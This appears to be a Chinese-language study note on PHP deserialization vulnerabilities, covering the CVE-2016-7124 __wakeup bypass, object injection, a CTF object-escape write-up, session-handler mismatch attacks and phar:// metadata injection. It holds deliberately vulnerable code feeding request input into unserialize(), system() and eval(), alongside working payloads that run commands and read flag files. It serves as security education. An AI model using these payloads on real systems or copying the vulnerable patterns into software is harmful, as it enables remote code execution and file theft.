PHP 反序列化漏洞入門學習筆記

R0oKi3發表於2020-07-14

參考文章:

PHP反序列化漏洞入門
easy_serialize_php wp
實戰經驗丨PHP反序列化漏洞總結
PHP Session 序列化及反序列化處理器設定使用不當帶來的安全隱患
利用 phar 擴充 php 反序列化漏洞攻擊面

序列化和反序列化的概念

序列化就是將 物件、string、陣列array、變數 轉換成具有一定格式的字串。
具體可以看 CTF PHP反序列化,下圖摘自此篇文章

其實每個字元對應的含義都很好理解:

s ----      string 字串
i ----      integer 整數
d ---       雙精度型
b ----      boolean 布林數
N ----      NULL 空值
O ----      Object 物件
a ----      array 陣列
·············

其中較為重要的是 物件 的序列化與反序列化:
物件序列化後的字串包括 屬性名、屬性值、屬性型別、該物件對應的類名,注意並不包括類中的方法

  • 序列化:

將物件轉化成字串儲存

其中:

序列化一個例項物件後:
O:4:"Test":3:{s:4:"name";s:6:"R0oKi3";s:6:"*age";s:16:"18歲餘24個月";s:10:"Testmoto";s:6:"hehehe";}

O:4:"Test":3:               ---O 代表 物件,Test為其類名,佔 4 個字元,並且有 3 個屬性
{}                          ---大括號裡面包含具體的屬性
s:4:"name";s:6:"R0oKi3";    ---以分號分隔屬性名和屬性值,s 表示字串,4、6 表示字元長度,name表示屬性名,R0oKi3 表示屬性值,後續一樣,都是成對的

注意點:當訪問控制修飾符(public、protected、private)不同時,序列化後的結果也不同
public          被序列化的時候屬性名 不會更改
protected       被序列化的時候屬性名 會變成  %00*%00屬性名
private         被序列化的時候屬性名 會變成  %00類名%00屬性名

由於 %00 就是一個空字元,所以不會顯示出來,不過為了顯示效果,在菜鳥工具上可以明顯看到不同
當提交 payload 的時候就需要將 %00 給加上後再提交

  • 反序列化:

反序列化則相反,其將字串轉化成物件

至於為什麼要序列化:
物件的序列化利於物件的儲存和傳輸,也可以讓多個檔案共享物件。

  • serialize() 函式

serialize() 函式會檢查類中是否存在一個魔術方法 __sleep()。如果存在,__sleep() 方法會先被呼叫,然後才執行序列化操作。

  • unserialize() 函式

unserialize() 會檢查是否存在一個 __wakeup() 魔術方法,成功地重新構造物件後,如果存在__wakeup() 成員函式則會呼叫 __wakeup()
但是當序列化字串表示物件屬性個數的值大於真實個數的屬性時就會跳過 __wakeup() 的執行,也就是 CVE-2016-7124,php 版本限制(PHP5 < 5.6.25、PHP7 < 7.0.10)。

由於會從字串構造出物件,那麼會不會呼叫 __construct() 建構函式?
例如如下測試程式碼:

<?php 
class Test{
	public $test;
	function __construct(){
		$this->test = '0預設內容<br>';
		echo $this->test;
	}
}
$a = new Test();
echo '1'.$a->test;
$a->test = '自定義內容<br>';
echo '2'.$a->test;

$x = serialize($a);

$y = unserialize($x);
echo '3'.$y->test;

 ?>

執行結果為:

0預設內容                        // $a = new Test(); 時執行 __construct() 建構函式
1預設內容                       // echo '1'.$a->test;
2自定義內容                     // echo '2'.$a->test;
3自定義內容                     // echo '3'.$y->test;

可以看到反序列化時,並沒有呼叫 __construct() 建構函式。

__destruct()       解構函式,當物件被銷燬或者程式退出時會自動呼叫
__toString()       用於一個類被當成字串時觸發
__invoke()         當嘗試以呼叫函式的方式呼叫一個物件時觸發
__call()           在物件上下文中呼叫不可訪問的方法時觸發 
__callStatic()     在靜態上下文中呼叫不可訪問的方法時觸發 
__get()            用於從不可訪問的屬性讀取資料
__set()            用於將資料寫入不可訪問的屬性 
__isset()          在不可訪問的屬性上呼叫 isset() 或 empty() 觸發 
__unset()          在不可訪問的屬性上使用 unset() 時觸發 

通過例子理解反序列化漏洞

CVE-2016-7124

  • 介紹:
    呼叫 unserilize() 方法成功地重新構造物件後,如果 class 中存在 __wakeup 方法,前會呼叫 __wakeup 方法,但是序列化字串中表示物件屬性個數的值大於真實的屬性個數時會跳過 __wakeup 的執行
    php版本限制(PHP5 < 5.6.25、PHP7 < 7.0.10)

  • 測試程式碼:

<?php 
	class Test{
		public $cmd;
		function __wakeup(){
			$this->cmd = '';
		}
		function __destruct(){
			echo '<br>';
			system($this->cmd);
		}
	}

$test = $_GET['cmd'];
$test_n = unserialize($test);
 ?>

可以看到,當執行反序列化的時候,呼叫 __wakeup 方法會將 $cmd 引數置為空,在程式退出時執行 __destruct 方法時也就執行不了任何命令

  • 因此可以利用 CVE-2016-7124
    首先得到一個正常的序列化結果:
<?php 
	class Test{
		public $cmd;
		function __wakeup(){
			$this->cmd = '';
		}
		function __destruct(){
			echo '<br>';
			system($this->cmd);
		}
	}
$test = new Test();
$test->cmd = "whoami";
echo serialize($test);

結果:O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}

然後構造物件屬性個數的值大於真實的屬性個數的 payload:
O:4:"Test":2:{s:3:"cmd";s:6:"whoami";}

  • 成功執行:

物件注入

參考文章:實戰經驗丨PHP反序列化漏洞總結

  • 參考程式碼:
<?php 
class A{
	var $target;
	function __construct(){
		$this->target = new B;
	}
	function __destruct(){
		$this->target->action();
	}
}

class B{
	function action(){
		echo "action B";
	}
}

class C{
	var $test;
	function action(){
		echo "action C";
		eval($this->test);
	}
}

unserialize($_GET['test']);
 ?>

class B 和class C 有一個同名方法 action,我們可以構造目標物件,使得解構函式呼叫 class C 的 action 方法,實現任意程式碼執行

  • 構造序列化字串:
<?php 
class A{
	var $target;
	function __construct(){
		$this->target = new C;                     //這裡將 B 換成 C
		$this->target->test = "whoami";            //初始化物件 $test 值
	}
	function __destruct(){
		$this->target->action();
	}
}
class C{
	var $test;
	function action(){
		eval($this->test);
	}
}
echo "\n\n\n\n";
echo serialize(new A());
?>
  • 執行得到 payload:可以看到,內部注入了一個 C 物件
    O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:10:"phpinfo();";}}

  • 執行

PHP 反序列化的物件逃逸

參考文章:easy_serialize_php wp
題目:easy_serialize_php

  • 開啟題目看到原始碼
 <?php

$function = @$_GET['f'];      //獲取 f 變數

function filter($img){                        //整個函式的作用就是通過正則替換引數中的特定字元為 空
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';       // $filter = "/php|/flag|php5|php4|fl1g/i"
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;      //給 $SESSION array增加初值

extract($_POST);            //將 POST 的值前加上 $ 符號,例如 a=123,處理後就變成了 $a=123

if(!$function){            //沒有傳引數 f 顯示,也就是開啟題目時的首頁
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){      //將 $_SESSION['img'] base64 編碼
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{                        //將 $_SESSION['img'] base64 編碼後再雜湊
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION)); // 將 $_SESSION array引數序列化後再呼叫 filter 過濾函式

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));//base64 解碼後獲取指定檔案
} 
  • 首先可以看到提示我們傳入 f=phpinfo ,開啟後可以看到一個不太正常的東西

  • 直接訪問為空,結合 file_get_contents 函式,便考慮能不能讀取該檔案

  • 看到這個判斷

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

如果我們直接 get 傳 img_path 引數,檔案會被雜湊,file_get_contents(base64_decode($userinfo['img'])); 函式在 base64 解碼時便會出錯,讀不到我們指定的檔案,不傳呢我們又只能讀到指定的 guest_img.png 檔案

  • 既然題目給了 filter 函式,那麼便肯定有用,而且可以看到,呼叫該函式是在 $_SESSION 被序列化之後,於是便可以考慮反序列化物件逃逸
    首先要知道一個特性:當指定一個 string 長度,而其值為空時,那麼便會發生字元吞噬,無論後面的字元是什麼
    例如:s:10:"";s:3:"123";,第一個 s 指定長度為10,而值為空,那麼便會將後續字元吞掉,其中 ";s:3:"123 便會被吞噬,變成 s:10:"腦袋被吃了";

看到 payload:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

執行 serialize($_SESSION) 後:

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:65:"a";s:8:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

經過 filter() 函式之後,關鍵字被剔除:

a:3:{s:4:"user";s:24:"";s:8:"function";s:65:"a";s:8:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

可以看到 s:24:""; ,這裡便會發生吞噬,";s:8:"function";s:65:"a被吞噬後變成:

a:3:{s:4:"user";s:24:"被吞噬的 24 個字元";s:8:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

也就是 $serialize_info 引數最終的值

  • 看到這裡:
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));

執行反序列化$serialize_info時,執行時只有 a:3:{s:4:"user";s:24:"被吞噬的 24 個字元";s:65:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";
會被當成有效字元,由此便發生了物件逃逸現象
$userinfo['img'] 的值就變成了 ZDBnM19mMWFnLnBocA== ,base64解碼後變成了 d0g3_f1ag.php,也就成功將檔案內容輸出了

  • 執行

  • 檢視網頁原始碼會發現

<?php
$flag = 'flag in /d0g3_fllllllag';
?>
  • 依葫蘆畫瓢
    構造 payload,獲取/d0g3_fllllllag檔案
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:4:"test";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
  • 執行

session 反序列化

參考文章:
PHP Session 序列化及反序列化處理器設定使用不當帶來的安全隱患

  • session.serialize_handler="" 定義序列化和反序列化的處理器的名字,預設是php(5.5.4後改為php_serialize)
    測試程式碼:
<?php
ini_set('session.serialize_handler', '處理方法');
session_start();
$_SESSION['username'] = 'test';
?>
  • session.serialize_handler=php(預設)
    只對使用者名稱的內容進行了序列化儲存,沒有對變數名進行序列化,可以看作是伺服器對使用者會話資訊的半序列化儲存過程。
    比如:傳入資料 username=test,那麼變成 session 後儲存為 username|s:4:"test";

  • session.serialize_handler=php_serialize
    對整個session資訊包括檔名、檔案內容都進行了序列化處理,可以看作是伺服器對使用者會話資訊的完全序列化儲存過程。
    比如:傳入資料 username=test,那麼變成 session 後儲存為 a:1{s:8:"username";s:4:"test";}

  • session.serialize_handler=php_binary
    鍵名的長度對應的ASCII字元 + 鍵名 + 經過serialize()函式反序列化處理的值
    比如:傳入資料 username=test,那麼變成 session 後儲存為 8 代表的 ascii 字元退格 usernames:4:"test";

  • 為什麼會出現序列化漏洞?
    反序列化儲存的 $_SEESION 資料時的使用的處理器和序列化時使用的處理器不同,會導致資料無法正確反序列化,通過特殊的偽造,便可以偽造任意資料

  • 例如:
    在儲存 $_SEESION 時處理方法為 php_serialize,傳輸的資料為 username=|O:4:"test":0:{},則最後儲存為 a:1{s:8:"username";s:16:"|O:4:"test":0:{}"}
    而在取用 $_SESSION 時的處理方法為 php,此時鍵:a:1{s:8:"username";s:16:",值:O:4:"test":0:{},那麼反序列話後便構造出了一個 test 物件。

下面的內容取自PHP Session 序列化及反序列化處理器設定使用不當帶來的安全隱患

  • session.auto_start
    指定會話模組是否在請求開始時啟動一個會話,預設不啟動

    • session.auto_start=On

    當配置選項 session.auto_start=On,會自動註冊 Session 會話,因為該過程是發生在指令碼程式碼執行前,所以在指令碼中設定的包括序列化處理器在內的 session 相關配選項的設定是不起作用的, 因此一些需要在指令碼中設定序列化處理器配置的程式會在 session.auto_start=On 時,銷燬自動生成的 Session 會話,然後設定需要的序列化處理器,再呼叫 session_start() 函式註冊會話,這時如果指令碼中設定的序列化處理器與 php.ini 中設定的不同,就會出現安全問題,如下面的程式碼:
    //foo.php

    if (ini_get('session.auto_start')) {
    	session_destroy();
    }
    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION['ryat'] = $_GET['ryat'];
    

    當第一次訪問該指令碼,並提交資料如下:
    foo.php?ryat=|O:8:"stdClass":0:{}
    指令碼會按照 php_serialize 處理器的序列化格式儲存資料:
    a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}
    當第二次訪問該指令碼時,PHP 會按照 php.ini 裡設定的序列化處理器反序列化儲存的資料,這時如果 php.ini 裡設定的是 php 處理器的話,將會反序列化偽造的資料,成功例項化了 stdClass 物件
    這裡需要注意的是,因為 PHP 自動註冊 Session 會話是在指令碼執行前,所以通過該方式只能注入 PHP 的內建類。

    • session.auto_start=Off

    當配置選項 session.auto_start=Off,兩個指令碼註冊 Session 會話時使用的序列化處理器不同,就會出現安全問題,如下面的程式碼:
    //foo1.php

    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION['ryat'] = $_GET['ryat'];
    

    //foo2.php

    ini_set('session.serialize_handler', 'php');
    //or session.serialize_handler set to php in php.ini 
    session_start();
    class ryat {
    	var $hi;
    
    function __wakeup() {
    	echo 'hi';
    }
    function __destruct() {
    	echo $this->hi;
    }
    }
    

    當訪問 foo1.php 時,提交資料如下:
    foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}
    指令碼會按照 php_serialize 處理器的序列化格式儲存資料,訪問 foo2.php 時,則會按照 php 處理器的反序列化格式讀取資料,這時將會反序列化偽造的資料,成功例項化了 ryat 物件,並將會執行類中的 __wakeup 方法和 __destruct 方法

  • 還有一個有趣的點 ------ 沒有$_SESSION變數賦值,通過上傳檔案構造反序列化漏洞
    文章:
    原理+實踐掌握(PHP反序列化和Session反序列化)
    深入解析PHP中SESSION反序列化機制

  • 小例子:

1.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["username"]=$_GET["a"];
?>

2.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Test{
 var $cmd;
 function __construct(){
 $this->cmd = 'phpinfo();';
 }
 
 function __destruct(){
  system($this->cmd);
 }
}
?>

首先我們訪問 1.php,並傳入?a=|O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
於是會在本地生成一個 session 檔案,其內容為a:1:{s:8:"username";s:39:"|O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}";}
然後我們訪問 2.php,執行了 session_start() 函式,於是便會將 session 檔案內容取出進行反序列化,由於處理方法不同,導致了反序列化漏洞
構造了一個 Test() 物件,然後再給通過序列化字串的內容給 $cmd 變數賦值 'whoami',此時 __construct() 方法並沒有被呼叫

在程式結束時,呼叫了解構函式,也就執行了命令 whoami

phar:// 反序列化漏洞(物件注入)

函式
ìnclude(); fopen(); copy(); file();
file_get_contents(); file_put_contents(); file_exists(); md5_file();
unlink(); stat(); readfile();
is_dir(); is_file(); is_link(); is_executable();
is_readable(); is_writable(); is_writeable(); parse_ini_file();
filegroup(); fileinode(); fileowner(); fileperms();
filemtime(); fileatime(); filectime(); filesize();
exif_thumbnailexif_imagetype();
imageloadfontimagecreatefrom();
hash_hmac_filehash_filehash_update_filemd5_filesha1_file();
get_meta_tagsget_headers(); 
getimagesizegetimagesizefromstring();

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

  • 小例子

    • 漏洞存在的前提條件:
      能上傳 phar 檔案或者其他型別的檔案到伺服器
      有能解析並觸發反序列化的函式,並且引數可控
      偽協議 phar:// 未被禁用

    • 存在漏洞的程式碼 phar.php:

    <?php
    $filename=$_GET['filename'];
    class AnyClass{
        var $output = 'echo "cck";';
        function __destruct()
        {
            eval($this->output);
        }
    }
    file_exists($filename);
    ?>
    
    • 建立 phar 檔案,並注入物件,程式碼:make_phar.php:
      注意點:要將 php.ini 中的 phar.readonly 選項設定為 Off,否則無法生成 phar 檔案
    class AnyClass {}            //需要構造的物件
    
    $phar = new Phar('test.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'text');
    $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');              //這裡可以繞過檔案型別設定,既可以當成 gif 也可以當成 phar 檔案,當然也可以設定其他頭,也可以不設定
    $object = new AnyClass;
    $object->output = 'phpinfo();';                                    // 設定物件引數
    $phar->setMetadata($object);  //將物件儲存(會自動將其序列化)
    $phar->stopBuffering();
    
    • 執行該程式碼會得到一個 phar 檔案
    • 檢視該檔案具體內容
    • 上傳到目標伺服器訪問存在漏洞的程式碼,並指定檔案

相關文章